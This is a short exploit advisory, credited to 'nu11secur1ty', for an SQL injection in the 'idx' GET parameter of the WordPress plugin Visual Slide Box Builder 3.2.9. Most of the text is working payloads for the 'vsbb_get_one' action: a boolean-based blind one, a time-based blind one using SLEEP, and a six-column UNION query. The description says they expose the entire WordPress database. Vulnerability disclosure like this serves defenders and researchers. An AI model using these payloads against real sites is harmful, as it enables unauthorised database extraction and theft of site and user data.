WordPress Plugin Visual Slide Box Builder 3.2.9 - SQLi

# Title: WordPress Plugin Visual Slide Box Builder 3.2.9 - SQLi
# Author: nu11secur1ty
# Date: 07.11.2022
# Vendor: https://wphive.com/
# Software: https://wphive.com/plugins/wp-visual-slidebox-builder/?plugin_version=3.2.9
# Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/WordPress/2022/Visual-Slide-Box-Builder-plugin

## Description:
The parameter `idx` from the Visual Slide Box Builder plugin app for
WordPress appears to be vulnerable to SQLi.
The attacker can receive all database information from the WordPress
database and he can use it for very malicious purposes.

[+] Payloads:

```mysql
---
Parameter: idx (GET)
    Type: boolean-based blind
    Title: HAVING boolean-based blind - WHERE, GROUP BY clause
    Payload: action=vsbb_get_one&idx=1 union select 1,2,3,4,5,sleep(3)
HAVING 1854=1854

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: action=vsbb_get_one&idx=1 union select 1,2,3,4,5,sleep(3)
AND (SELECT 3837 FROM (SELECT(SLEEP(7)))QHbL)

    Type: UNION query
    Title: MySQL UNION query (NULL) - 6 columns
    Payload: action=vsbb_get_one&idx=-5038 UNION ALL SELECT
NULL,NULL,NULL,CONCAT(0x716a626a71,0x4e6b417358754d527a4a69544c57654a53574a64736b5a656e4b7968767a7a4d454243797a796d72,0x717a7a7a71),NULL,NULL#
---
```